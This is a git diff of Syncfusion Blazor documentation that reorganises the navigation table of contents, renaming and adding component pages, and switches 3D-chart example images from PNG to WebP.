diff --git a/blazor-toc.html b/blazor-toc.html
index 740e6e6cb0..f1550b839a 100644
--- a/blazor-toc.html
+++ b/blazor-toc.html
@@ -26,6 +26,9 @@
 			<li>
 				<a href="/blazor/getting-started/blazor-webassembly-app">Blazor WebAssembly App</a>
 			</li>
+			<li>
+				<a href="/blazor/getting-started/blazor-webassembly-jetbrains">Blazor with JetBrains Rider</a>
+			</li>
 			<li>
 				<a href="/blazor/common/showcase-samples">Showcase Samples</a>
 			</li>
@@ -262,7 +265,7 @@
 								<ul>
 									<li> <a href="/blazor/smart-paste/claude-service">Claude AI Service</a></li>
 									<li> <a href="/blazor/smart-paste/gemini-service">Gemini AI Service</a></li>
-									<li> <a href="/blazor/smart-paste/deepseek-service">Deepseek AI Service</a></li>
+									<li> <a href="/blazor/smart-paste/deepseek-service">DeepSeek AI Service</a></li>
 									<li> <a href="/blazor/smart-paste/groq-service">Groq AI Service</a></li>
 								</ul>
 							</li>
@@ -282,7 +285,7 @@
 								<ul>
 									<li> <a href="/blazor/smart-textarea/claude-service">Claude AI Service</a></li>
 									<li> <a href="/blazor/smart-textarea/gemini-service">Gemini AI Service</a></li>
-									<li> <a href="/blazor/smart-textarea/deepseek-service">Deepseek AI Service</a></li>
+									<li> <a href="/blazor/smart-textarea/deepseek-service">DeepSeek AI Service</a></li>
 									<li> <a href="/blazor/smart-textarea/groq-service">Groq AI Service</a></li>
 								</ul>
 							</li>
@@ -319,6 +322,9 @@
 							<li>Getting Started
 								<ul>
 									<li> <a href="/blazor/ai-assistview/getting-started-webapp">Blazor Web App</a></li>
+									<li>
+										<a href="/blazor/ai-assistview/getting-started-with-server-app">Blazor Server App</a>
+									</li>
 									<li> <a href="/blazor/ai-assistview/getting-started">Blazor WASM App</a></li>
 								</ul>
 							</li>
@@ -363,13 +369,16 @@
 				<ul>
 					<li><a href="/blazor/smart-ai-solutions/ai/overview">Overview</a></li>
 					<li><a href="/blazor/smart-ai-solutions/ai/openAI">OpenAI Integration</a></li>
-					<li><a href="/blazor/smart-ai-solutions/ai/azure-openai">AzureOpenAI Integration</a></li>
+					<li><a href="/blazor/smart-ai-solutions/ai/azure-openai">Azure OpenAI Integration</a></li>
 					<li><a href="/blazor/smart-ai-solutions/ai/ollama">Ollama Local Models Integration</a></li>
 					<li><a href="/blazor/smart-ai-solutions/ai/custom-ai-service">Custom AI Providers</a></li>
 				</ul>
 			</li>
 			<li>AI-Powered Solutions
 				<ul>
+					<li>
+						<a href="/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid">DataGrid</a>
+					</li>
 					<li>
 						<a href="/blazor/smart-ai-solutions/ai-samples/gantt-chart/resource-allocation">Gantt Chart</a>
 					</li>
@@ -399,8 +408,11 @@
 					</li>
 				</ul>
 			</li>
-			<li>
-				<a href="/blazor/skills/getting-started">Skills</a>
+			<li>Skills
+				<ul>
+					<li><a href="/blazor/skills/component-skills">Component Skills</a></li>
+					<li><a href="/blazor/skills/agentic-ui-builder">Agentic UI Builder</a></li>
+				</ul>
 			</li>
 		</ul>
 	</li>
@@ -414,18 +426,6 @@
 					<li>
 						<a href="/blazor/getting-started/blazor-webassembly-authentication">WebAssembly with Google OAuth</a>
 					</li>
-					<li>
-						<a href="/blazor/common/authentication/blazor-asp-net-core-identity">Blazor with ASP.NET Identity</a>
-					</li>
-					<li>
-						<a href="/blazor/common/authentication/blazor-jwt-authentication">Blazor with JWT Authentication</a>
-					</li>
-          			<li>
-						<a href="/blazor/common/authentication/blazor-aws-cognito">Blazor with AWS Cognito Authentication</a>
-					</li>
-					<li>
-						<a href="/blazor/common/authentication/blazor-oauth-authentication">Blazor with GitHub OAuth 2.0</a>
-					</li>
 					<li>
 						<a href="/blazor/common/authentication/blazor-microsoft-entra-id">Blazor with Microsoft Entra ID Authentication</a>
 					</li>
@@ -455,6 +455,9 @@
 					<li>
 						<a href="/blazor/common/integration/angular-blazor-integration">Angular with Blazor</a>
 					</li>
+					<li>
+						<a href="/blazor/common/how-to/add-blazor-component-on-existing-aspnet-core-mvc-app">Blazor Components on ASP.NET Core MVC</a>
+					</li>
 					<li>
 						<a href="/blazor/getting-started/maui-blazor-web-app">Blazor with .NET MAUI App</a>
 					</li>
@@ -483,6 +486,9 @@
 					<li>
 						<a href="/blazor/datagrid/connecting-to-database/microsoft-sql-server">Blazor with Microsoft SQL Server</a>
 					</li>
+					<li>
+						<a href="/blazor/scheduler/minimalapi">Minimal API</a>
+					</li>
 					<li>
 						<a href="/blazor/datagrid/connecting-to-database/mysql-server">Blazor with MySQL</a>
 					</li>
@@ -947,6 +953,9 @@
 					<li>
 						<a href="/blazor/block-editor/getting-started">Blazor Web App</a>
 					</li>
+					<li>
+						<a href="/blazor/block-editor/getting-started-with-server-app">Blazor Server App</a>
+					</li>
 					<li>
 						<a href="/blazor/block-editor/getting-started-wasm-app">Blazor WASM App</a>
 					</li>
@@ -1014,7 +1023,7 @@
 				<a href="/blazor/breadcrumb/templates">Templates</a>
 			</li>
 			<li>
-				<a href="/blazor/breadcrumb/style-and-appearance">Styles and Appearances</a>
+				<a href="/blazor/breadcrumb/style-and-appearance">Style and Appearance</a>
 			</li>
 			<li>
 				<a href="/blazor/breadcrumb/accessibility">Accessibility</a>
@@ -1105,7 +1114,7 @@
 				<a href="/blazor/button/types-and-styles">Types and Styles</a>
 			</li>
 			<li>
-				<a href="/blazor/button/style-and-appearance">Styles and Appearances</a>
+				<a href="/blazor/button/style-and-appearance">Style and Appearance</a>
 			</li>
 			<li>
 				<a href="/blazor/button/accessibility">Accessibility</a>
@@ -1165,7 +1174,7 @@
 				<a href="/blazor/button-group/selection-and-nesting">Selection and Nesting</a>
 			</li>
 			<li>
-				<a href="/blazor/button-group/style-and-appearance">Styles and Appearances</a>
+				<a href="/blazor/button-group/style-and-appearance">Style and Appearance</a>
 			</li>
 			<li>
 				<a href="/blazor/button-group/accessibility">Accessibility</a>
@@ -1295,7 +1304,7 @@
 			<li><a href="/blazor/carousel/animations-and-transitions">Animations and Transitions</a></li>
 			<li><a href="/blazor/carousel/navigators-and-indicators">Navigators and Indicators</a></li>
 			<li><a href="/blazor/carousel/accessibility">Accessibility</a></li>
-			<li><a href="/blazor/carousel/styles-and-appearance">Styles and Appearances</a></li>
+			<li><a href="/blazor/carousel/styles-and-appearance">Style and Appearance</a></li>
 			<li>How To
 				<ul>
 					<li>
@@ -1378,7 +1387,7 @@
 						<a href="/blazor/chart/chart-types/range-area">Range Area</a>
 					</li>
 					<li>
-						<a href="/blazor/chart/chart-types/range-step-area">Range-Step-Area</a>
+						<a href="/blazor/chart/chart-types/range-step-area">Range Step Area</a>
 					</li>
 					<li>
 						<a href="/blazor/chart/chart-types/spline-range-area">Spline Range Area</a>
@@ -1470,7 +1479,7 @@
 				<a href="/blazor/chart/last-data-label">Last Data Label</a>
 			</li>
 			<li>
-				<a href="/blazor/chart/data-label-template">Datalabel Template</a>
+				<a href="/blazor/chart/data-label-template">Data Label Template</a>
 			</li>
 			<li>
 				<a href="/blazor/chart/chart-annotations">Annotation</a>
@@ -1670,7 +1679,7 @@
 				<a href="/blazor/check-box/accessibility">Accessibility</a>
 			</li>
 			<li>
-				<a href="/blazor/check-box/style-and-appearance">Styles and Appearances</a>
+				<a href="/blazor/check-box/style-and-appearance">Style and Appearance</a>
 			</li>
 		<li>How To
 			<ul>
@@ -1712,7 +1721,7 @@
 				<a href="/blazor/chip/events">Events</a>
 			</li>
 			<li>
-				<a href="/blazor/chip/customization">Customization</a>
+				<a href="/blazor/chip/customization">Style and Appearance</a>
 			</li>
 			<li>
 				<a href="/blazor/chip/style">CSS Structure</a>
@@ -1825,7 +1834,7 @@
 				<a href="/blazor/color-picker/localization">Localization and RTL</a>
 			</li>
 			<li>
-				<a href="/blazor/color-picker/style-and-appearance">Styles and Appearances</a>
+				<a href="/blazor/color-picker/style-and-appearance">Style and Appearance</a>
 			</li>
 			<li>
 				<a href="/blazor/color-picker/events">Events</a>
@@ -1973,7 +1982,7 @@
 				<a href="/blazor/context-menu/icons-and-navigations">Icons and Navigation</a>
 			</li>
 			<li>
-				<a href="/blazor/context-menu/style-and-appearance">Styles and Appearances</a>
+				<a href="/blazor/context-menu/style-and-appearance">Style and Appearance</a>
 			</li>
 			<li>How To
 				<ul>
@@ -2059,7 +2068,7 @@
 				<a href="/blazor/dashboard-layout/state-persistence">State Persistence</a>
 			</li>
 			<li>
-				<a href="/blazor/dashboard-layout/style">CSS Structure</a>
+				<a href="/blazor/dashboard-layout/style">Style and Appearance</a>
 			</li>
 			<li>
 				<a href="/blazor/dashboard-layout/accessibility">Accessibility</a>
@@ -2709,7 +2718,7 @@
 			</li>
 			<li><a href="/blazor/diagram/connectors/connectors">Connectors</a>
 				<ul>
-					<li>Segments
+					<li><a href="/blazor/diagram/connectors/segments">Segments</a>
 						<ul>
 						<li><a href="/blazor/diagram/connectors/segments/straight">Straight</a></li>
 						<li><a href="/blazor/diagram/connectors/segments/orthogonal">Orthogonal</a></li>
@@ -2858,7 +2867,7 @@
 				<a href="/blazor/diagram/user-handle">User Handles</a>
 			</li>
 			<li>
-				<a href="/blazor/diagram/style">CSS Structure</a>
+				<a href="/blazor/diagram/style">Style and Appearance</a>
 			</li>
 			<li><a href="/blazor/diagram/symbol-palette/symbol-palette">Symbol Palette</a>
 				<ul>
@@ -2976,7 +2985,7 @@
 				<a href="/blazor/predefined-dialogs/dimension">Dimension</a>
 			</li>
 			<li>
-				<a href="/blazor/predefined-dialogs/customization">Customization of Predefined Dialogs</a>
+				<a href="/blazor/predefined-dialogs/customization">Style and Appearance</a>
 			</li>
 		</ul>
 	</li>
@@ -2999,7 +3008,7 @@
 			<li> <a href="/blazor/drop-down-menu/icons">Icons</a></li>
 			<li> <a href="/blazor/drop-down-menu/popup-items">Popup Items</a></li>
 			<li> <a href="/blazor/drop-down-menu/accessibility">Accessibility</a></li>
-			<li> <a href="/blazor/drop-down-menu/style-and-appearance">Styles and Appearances</a></li>
+			<li> <a href="/blazor/drop-down-menu/style-and-appearance">Style and Appearance</a></li>
 			<li> <a href="/blazor/drop-down-menu/template">Item Template</a></li>
 			<li> <a href="/blazor/drop-down-menu/animation">Animation</a></li>
 			<li>How To
@@ -3613,7 +3622,7 @@
 			<li> <a href="/blazor/listbox/selection">Selection</a></li>
 			<li> <a href="/blazor/listbox/filtering">Filtering</a></li>
 			<li> <a href="/blazor/listbox/sorting-grouping">Sorting and Grouping</a></li>
-			<li> <a href="/blazor/listbox/style-and-appearance">Styles and Appearances</a></li>
+			<li> <a href="/blazor/listbox/style-and-appearance">Style and Appearance</a></li>
 			<li>How To
 				<ul>
 					<li> <a href="/blazor/listbox/how-to/add-items">Add/Remove Items</a></li>
@@ -3647,7 +3656,7 @@
 			<li> <a href="/blazor/listview/nested-list">Nested list</a></li>
 			<li> <a href="/blazor/listview/customizing-templates">Customizing Templates</a></li>
 			<li> <a href="/blazor/listview/virtualization">Virtualization</a></li>
-			<li> <a href="/blazor/listview/style">CSS Structure</a></li>
+			<li> <a href="/blazor/listview/style">Style and Appearance</a></li>
 			<li> <a href="/blazor/listview/accessibility">Accessibility</a></li>
 			<li>How To
 				<ul>
@@ -3745,6 +3754,12 @@
 			<li><a href="/blazor/markdown-editor/mention-support">Mention Support</a></li>
 			<li><a href="/blazor/markdown-editor/keyboard-support">Keyboard Shortcuts</a></li>
 			<li><a href="/blazor/markdown-editor/accessibility">Accessibility</a></li>
+			<li>How To
+				<ul>
+					<li> <a href="/blazor/markdown-editor/how-to/retrieve-content">Retrieve the formatted content</a></li>
+					<li> <a href="/blazor/markdown-editor/how-to/retrieve-characters">Retrieve the number of characters</a></li>
+				</ul>
+			</li>
 		</ul>
 	</li>
 	<li>Media Query
@@ -3807,11 +3822,12 @@
 			<li> <a href="/blazor/menu-bar/icons">Icons and Submenu Items</a></li>
 			<li> <a href="/blazor/menu-bar/menu-events">Menu Bar Events</a></li>
 			<li> <a href="/blazor/menu-bar/usecase-scenario">Use Case Scenarios</a></li>
-			<li> <a href="/blazor/menu-bar/style-and-appearance">Styles and Appearances</a></li>
+			<li> <a href="/blazor/menu-bar/style-and-appearance">Style and Appearance</a></li>
 			<li> <a href="/blazor/menu-bar/animation">Animation</a></li>
 			<li>How To
 				<ul>
 					<li> <a href="/blazor/menu-bar/how-to/change-orientation">Change Orientation</a></li>
+					<li> <a href="/blazor/menu-bar/how-to/change-submenu-position">Change Sub Menu Position</a></li>
 					<li> <a href="/blazor/menu-bar/how-to/customize-menu-items">Customize Menu Bar Items</a></li>
 					<li> <a href="/blazor/menu-bar/how-to/menu-with-rounded-corner">Menu Bar with Rounded Corner</a></li>
 					<li> <a href="/blazor/menu-bar/how-to/open-menu-click">Open Sub Menu on Menu Item Click</a></li>
@@ -3837,7 +3853,7 @@
 			<li><a href="/blazor/message/severities">Severities</a></li>
 			<li><a href="/blazor/message/variants">Variants</a></li>
 			<li><a href="/blazor/message/icons">Icons</a></li>
-			<li><a href="/blazor/message/customization">Customization</a></li>
+			<li><a href="/blazor/message/customization">Style and Appearance</a></li>
 			<li><a href="/blazor/message/template">Template</a></li>
 			<li><a href="/blazor/message/accessibility">Accessibility</a></li>
 			<li>
@@ -3974,7 +3990,7 @@
 			<li><a href="/blazor/otp-input/styling-modes">Styling Modes</a></li>
 			<li><a href="/blazor/otp-input/placeholder">Placeholder</a></li>
 			<li><a href="/blazor/otp-input/separator">Separator</a></li>
-			<li><a href="/blazor/otp-input/appearance">Appearance</a></li>
+			<li><a href="/blazor/otp-input/appearance">Style and Appearance</a></li>
 			<li><a href="/blazor/otp-input/accessibility">Accessibility</a></li>
 			<li><a href="/blazor/otp-input/events">Events</a></li>
 			<li>
@@ -4169,7 +4185,7 @@
 			<li> <a href="/blazor/progress-button/types-icons">Types and Icons</a></li>
 			<li> <a href="/blazor/progress-button/spinner-and-progress">Spinner and Progress</a></li>
 			<li> <a href="/blazor/progress-button/accessibility">Accessibility</a></li>
-			<li> <a href="/blazor/progress-button/style-and-appearance">Styles and Appearances</a></li>
+			<li> <a href="/blazor/progress-button/style-and-appearance">Style and Appearance</a></li>
 			<li>How To
 				<ul>
 					<li> <a href="/blazor/progress-button/how-to/change-the-text-content-and-styles-of-the-progressbutton-during-progress">Change the text content and styles of the Progress Button during progress</a></li>
@@ -4204,7 +4220,7 @@
 			<li> <a href="/blazor/query-builder/clone-group-rule">Clone Group/Rule</a></li>
 			<li> <a href="/blazor/query-builder/events">Events</a></li>
 			<li> <a href="/blazor/query-builder/localization">Localization</a></li>
-			<li> <a href="/blazor/query-builder/style-and-appearance">Styles and Appearances</a></li>
+			<li> <a href="/blazor/query-builder/style-and-appearance">Style and Appearance</a></li>
 			<li> <a href="/blazor/query-builder/accessibility">Accessibility</a></li>
 			<li> <a href="/blazor/query-builder/drag-and-drop">Drag and Drop</a></li>
 			<li> <a href="/blazor/query-builder/separate-connector">Separate Connector</a></li>
@@ -4236,7 +4252,7 @@
 			</li>
 			<li> <a href="/blazor/radio-button/native-event">Native Events</a></li>
 			<li> <a href="/blazor/radio-button/label-and-size">Label and Size</a></li>
-			<li> <a href="/blazor/radio-button/style-and-appearance">Styles and Appearances</a></li>
+			<li> <a href="/blazor/radio-button/style-and-appearance">Style and Appearance</a></li>
 			<li> <a href="/blazor/radio-button/accessibility">Accessibility</a></li>
 			<li>How To
 				<ul>
@@ -4293,7 +4309,7 @@
 			<li> <a href="/blazor/range-slider/ticks">Ticks</a></li>
 			<li> <a href="/blazor/range-slider/format">Formatting</a></li>
 			<li> <a href="/blazor/range-slider/limits">Limits</a></li>
-			<li> <a href="/blazor/range-slider/style">CSS Structure</a></li>
+			<li> <a href="/blazor/range-slider/style">Style and Appearance</a></li>
 			<li> <a href="/blazor/range-slider/localization">Localization</a></li>
 			<li> <a href="/blazor/range-slider/accessibility">Accessibility</a></li>
 			<li>How To
@@ -4330,7 +4346,7 @@
 			<li><a href="/blazor/rating/selection">Selection</a></li>
 			<li><a href="/blazor/rating/templates">Templates</a></li>
 			<li><a href="/blazor/rating/events">Events</a></li>
-			<li><a href="/blazor/rating/appearance">Appearance</a></li>
+			<li><a href="/blazor/rating/appearance">Style and Appearance</a></li>
 			<li><a href="/blazor/rating/accessibility">Accessibility</a></li>
 			<li>
 				<a href="/cr/blazor/Syncfusion.Blazor.Inputs.SfRating.html"> API Reference</a>
@@ -4446,6 +4462,8 @@
 					<li> <a href="/blazor/rich-text-editor/how-to/blazor-web-assembly">Getting Started with Blazor WebAssembly RichTextEditor using Visual Studio</a></li>
 					<li> <a href="/blazor/rich-text-editor/how-to/rte-inside-dialog">RichTextEditor inside the Dialog component</a></li>
 					<li> <a href="/blazor/rich-text-editor/how-to/update-value">Capture ctrl+s to update the value</a></li>
+					<li> <a href="/blazor/rich-text-editor/how-to/retrieve-content">Retrieve the formatted content</a></li>
+					<li> <a href="/blazor/rich-text-editor/how-to/retrieve-characters">Retrieve the number of characters</a></li>
 				</ul>
 			</li>
 			<li>
@@ -4564,7 +4582,7 @@
 					<li> <a href="/blazor/sidebar/how-to/sidebar-with-list-view">Initialize the Sidebar with ListView</a></li>
 					<li> <a href="/blazor/sidebar/how-to/open-and-close-the-sidebar">Open and close the Sidebar</a></li>
 					<li> <a href="/blazor/sidebar/how-to/multiple-sidebar">Multiple Sidebar</a></li>
-					<li> <a href="/blazor/sidebar/how-to/sidebar-in-the-dotnet8-application">Sidebar in .NET 8 Blazor Web app</a></li>
+					<li> <a href="/blazor/sidebar/how-to/sidebar-in-the-dotnet8-application">Sidebar in .NET 8 Blazor Web App</a></li>
 				</ul>
 			</li>
 			<li>
@@ -4607,7 +4625,7 @@
 			</li>
 			<li><a href="/blazor/skeleton/shapes">Shapes</a></li>
 			<li><a href="/blazor/skeleton/effects">Shimmer Effects</a></li>
-			<li><a href="/blazor/skeleton/styles">Styles</a></li>
+			<li><a href="/blazor/skeleton/styles">Style and Appearance</a></li>
 			<li><a href="/blazor/skeleton/accessibility">Accessibility</a></li>
 			<li>
 				<a href="/cr/blazor/Syncfusion.Blazor.Notifications.SfSkeleton.html"> API Reference</a>
@@ -4697,7 +4715,7 @@
 			<li><a href="/blazor/speeddial/display-modes">Display Mode</a></li>
 			<li><a href="/blazor/speeddial/radial-menu">Radial Menu</a></li>
 			<li><a href="/blazor/speeddial/template">Templates</a></li>
-			<li><a href="/blazor/speeddial/styles">Styles</a></li>
+			<li><a href="/blazor/speeddial/styles">Style and Appearance</a></li>
 			<li><a href="/blazor/speeddial/modal">Modal</a></li>
 			<li><a href="/blazor/speeddial/events">Events</a></li>
 			<li><a href="/blazor/speeddial/accessibility">Accessibility</a></li>
@@ -4735,7 +4753,7 @@
 			<li> <a href="/blazor/split-button/icons">Icons and Separator</a></li>
 			<li> <a href="/blazor/split-button/popup-items">Popup Items</a></li>
 			<li> <a href="/blazor/split-button/accessibility">Accessibility</a></li>
-			<li> <a href="/blazor/split-button/style-and-appearance">Styles and Appearances</a></li>
+			<li> <a href="/blazor/split-button/style-and-appearance">Style and Appearance</a></li>
 			<li>How To
 				<ul>
 					<li> <a href="/blazor/split-button/how-to/create-right-to-left-splitbutton">Create right-to-left Split Button</a></li>
@@ -4941,7 +4959,7 @@
 			<li><a href="/blazor/timeline/align">Align Items</a></li>
 			<li><a href="/blazor/timeline/reverse">Reverse Timeline</a></li>
 			<li><a href="/blazor/timeline/template">Template</a></li>
-			<li><a href="/blazor/timeline/customization">Customization</a></li>
+			<li><a href="/blazor/timeline/customization">Style and Appearance</a></li>
 			<li><a href="/blazor/timeline/accessibility">Accessibility</a></li>
 			<li><a href="/blazor/timeline/events">Events</a></li>
 			<li>
@@ -5023,7 +5041,7 @@
 			</li>
 			<li> <a href="/blazor/toggle-switch-button/native-event">Events</a></li>
 			<li> <a href="/blazor/toggle-switch-button/accessibility">Accessibility</a></li>
-			<li> <a href="/blazor/toggle-switch-button/style-and-appearance">Styles and Appearances</a></li>
+			<li> <a href="/blazor/toggle-switch-button/style-and-appearance">Style and Appearance</a></li>
 			<li>How To
 				<ul>
 					<li> <a href="/blazor/toggle-switch-button/how-to/change-size">Change Size</a></li>
@@ -5168,7 +5186,20 @@
 			<li> <a href="/blazor/treegrid/clipboard">Clipboard</a></li>
 			<li> <a href="/blazor/treegrid/accessibility">Accessibility</a></li>
 			<li> <a href="/blazor/treegrid/context-menu">Context Menu</a></li>
-			<li> <a href="/blazor/treegrid/custom-style">Styling and Appearance</a></li>
+			<li>
+				<a href="/blazor/treegrid/style-and-appearance/style-and-appearance">Style and Appearance</a>
+				<ul>
+					<li><a href="/blazor/treegrid/style-and-appearance/aggregate">Aggregate</a></li>
+					<li><a href="/blazor/treegrid/style-and-appearance/editing">Editing</a></li>
+					<li><a href="/blazor/treegrid/style-and-appearance/expand-collapse">Customize the expand and collapse icons</a></li>
+					<li><a href="/blazor/treegrid/style-and-appearance/filtering">Filtering</a></li>
+					<li><a href="/blazor/treegrid/style-and-appearance/header">Header</a></li>
+					<li><a href="/blazor/treegrid/style-and-appearance/paging">Paging</a></li>
+					<li><a href="/blazor/treegrid/style-and-appearance/selection">Selection</a></li>
+					<li><a href="/blazor/treegrid/style-and-appearance/sorting">Sorting</a></li>
+					<li><a href="/blazor/treegrid/style-and-appearance/toolbar">Toolbar</a></li>
+				</ul>
+			</li>
 			<li> <a href="/blazor/treegrid/events">Events</a></li>
 			<li>How To
 				<ul>
@@ -5344,21 +5375,12 @@
 					<li>
 			        	<a href="/blazor/common/how-to/add-blazor-component-to-the-toolbox">Add Blazor Component to the toolbox</a>
 		        	</li>
-					<li>
-						<a href="/blazor/common/how-to/add-blazor-component-on-existing-aspnet-core-mvc-app">Add Blazor Components on Existing ASP.NET Core MVC Application</a>
-					</li>
 					<li>
 						<a href="/blazor/common/how-to/render-blazor-server-app-in-ie">Render the Blazor Server App in IE11 Browser</a>
 					</li>
-					<li>
-						<a href="/blazor/common/how-to/upgrade-syncfusion-components-to-latest-version">Upgrade Syncfusion Components to Latest Version</a>
-					</li>
 					<li>
 						<a href="/blazor/common/how-to/create-blazor-webassembly-prerendering">Blazor WebAssembly Prerendering</a>
 					</li>
-					<li>
-						<a href="/blazor/common/how-to/port-blazor-server-maui">Port Syncfusion Blazor Web App to MAUI Blazor Hybrid App</a>
-					</li>
 				</ul>
 			</li>
 		</ul>
@@ -5371,12 +5393,6 @@
 			<li>
 				<a href="/blazor/common/security/input-sanitization">Input Sanitization</a>
       		</li>
-      		<li>
-				<a href="/blazor/common/security/cross-site-scripting-prevention">Cross-Site Scripting (XSS) Prevention</a>
-			</li>
-			<li>
-				<a href="/blazor/common/security/authentication-and-authorization">Authentication and Authorization</a>
-			</li>
 		</ul>
 	</li>
 	<li>Performance and Scalability
@@ -5416,6 +5432,9 @@
 			<li>
 				<a href="/blazor/upgrade/how-to-upgrade">Upgrade the Installer to the Latest Version</a>
 			</li>
+			<li>
+				<a href="/blazor/common/how-to/upgrade-syncfusion-components-to-latest-version">Upgrade Syncfusion Components to Latest Version</a>
+			</li>
 			<li>
 				<a href="/blazor/upgrade/upgrade-syncfusion-blazor-nuget-packages">Upgrade NuGet Packages to the Latest Version</a>
 			</li>
@@ -5424,6 +5443,13 @@
 			</li>
 		</ul>
 	</li>
+	<li>Migration
+	    <ul>
+			<li>
+				<a href="/blazor/common/how-to/port-blazor-server-maui">Blazor Web App to MAUI Blazor Hybrid App</a>
+			</li>
+		</ul>
+	</li>
 	<li>Deployment
 		<ul>
 			<li>
@@ -5440,19 +5466,27 @@
 			</li>
 		</ul>
 	</li>
+			<li>
+		<a href="/blazor/common/how-to/troubleshoot">Troubleshooting</a>
+			</li>
 	<li>Release Notes
 		<ul>
 			<li>2026 Volume 1 - 33.*
 				<ul>
 					<li>Weekly Release
 						<ul>
+							<li><a href="/blazor/release-notes/33.2.8">33.2.8</a></li>
+							<li><a href="/blazor/release-notes/33.2.7">33.2.7</a></li>
+							<li><a href="/blazor/release-notes/33.2.6">33.2.6</a></li>
+							<li><a href="/blazor/release-notes/33.2.5">33.2.5</a></li>
 							<li><a href="/blazor/release-notes/33.2.4">33.2.4</a></li>
 							<li><a href="/blazor/release-notes/33.1.49">33.1.49</a></li>
 							<li><a href="/blazor/release-notes/33.1.47">33.1.47</a></li>
 							<li><a href="/blazor/release-notes/33.1.46">33.1.46</a></li>
 							<li><a href="/blazor/release-notes/33.1.45">33.1.45</a></li>
 						</ul>
-					</li><li><a href="/blazor/release-notes/33.2.3">33.2.3 Service Pack Release</a></li>
+					</li>
+					<li><a href="/blazor/release-notes/33.2.3">33.2.3 Service Pack Release</a></li>
 					<li><a href="/blazor/release-notes/33.1.44">33.1.44 Main Release</a></li>
 				</ul>
 			</li>
@@ -5561,8 +5595,5 @@
 					</li>
 					      </ul>
     </li>
-	<li>
-		<a href="/blazor/common/how-to/troubleshoot">Troubleshooting</a>
-	</li>
 </ul>
 
diff --git a/blazor/3D-chart/appearance.md b/blazor/3D-chart/appearance.md
index c72a9dfb8e..5d49e0e017 100644
--- a/blazor/3D-chart/appearance.md
+++ b/blazor/3D-chart/appearance.md
@@ -56,7 +56,7 @@ The default color of series or points can be customized by providing a custom co
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjVfXxCBqRuWmxlT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Color Palette](images/appearance/blazor-column-chart-custom-color-palette.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjVfXxCBqRuWmxlT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Color Palette](images/appearance/blazor-column-chart-custom-color-palette.webp)" %}
 
 <!-- markdownlint-disable MD036 -->
 
@@ -98,7 +98,7 @@ The color for the points can be bound from the `DataSource` for the series by ut
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtrfDxMrKwXpXlgX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with PointColorMapping](images/appearance/blazor-column-chart-with-point-color.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtrfDxMrKwXpXlgX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with PointColorMapping](images/appearance/blazor-column-chart-with-point-color.webp)" %}
 
 ## Point level customization
 
@@ -160,7 +160,7 @@ The data label and fill color of each data point can be customized using the `Po
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBzXdsrUGMqoJpK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Point level customization](images/appearance/blazor-column-chart-point-level-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBzXdsrUGMqoJpK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Point level customization](images/appearance/blazor-column-chart-point-level-customization.webp)" %}
 
 ## Chart area customization
 
@@ -206,7 +206,7 @@ The background color and border of the 3D chart can be customized using the `Bac
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDhptRCLgGMkWnGY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Background and Border](images/appearance/blazor-column-chart-custom-background-and-border.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDhptRCLgGMkWnGY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Background and Border](images/appearance/blazor-column-chart-custom-background-and-border.webp)" %}
 
 **Chart margin**
 
@@ -249,7 +249,7 @@ The 3D chart's margin can be set from its container using the `Chart3DMargin` pr
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htLftnshAmBJsYEA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Margin](images/appearance/blazor-column-chart-custom-margin.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htLftnshAmBJsYEA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Margin](images/appearance/blazor-column-chart-custom-margin.webp)" %}
 
 ## Animation
 
@@ -377,7 +377,7 @@ The 3D chart can be given a title by using `Title` property, to show the informa
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNrJZRihUwKPsGvh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Title](images/appearance/blazor-column-chart-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNrJZRihUwKPsGvh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Title](images/appearance/blazor-column-chart-title.webp)" %}
 
 ### Title position
 
@@ -419,7 +419,7 @@ By using the `Position`property in `TitleStyle`, the `Title` can be positioned
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNhTDnsBKczVydKx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Title](images/appearance/blazor-column-chart-title-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNhTDnsBKczVydKx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Title](images/appearance/blazor-column-chart-title-position.webp)" %}
 
 The custom option is used to position the title anywhere in the 3D chart using `X` and `Y` coordinates.
 
@@ -459,7 +459,7 @@ The custom option is used to position the title anywhere in the 3D chart using `
 }
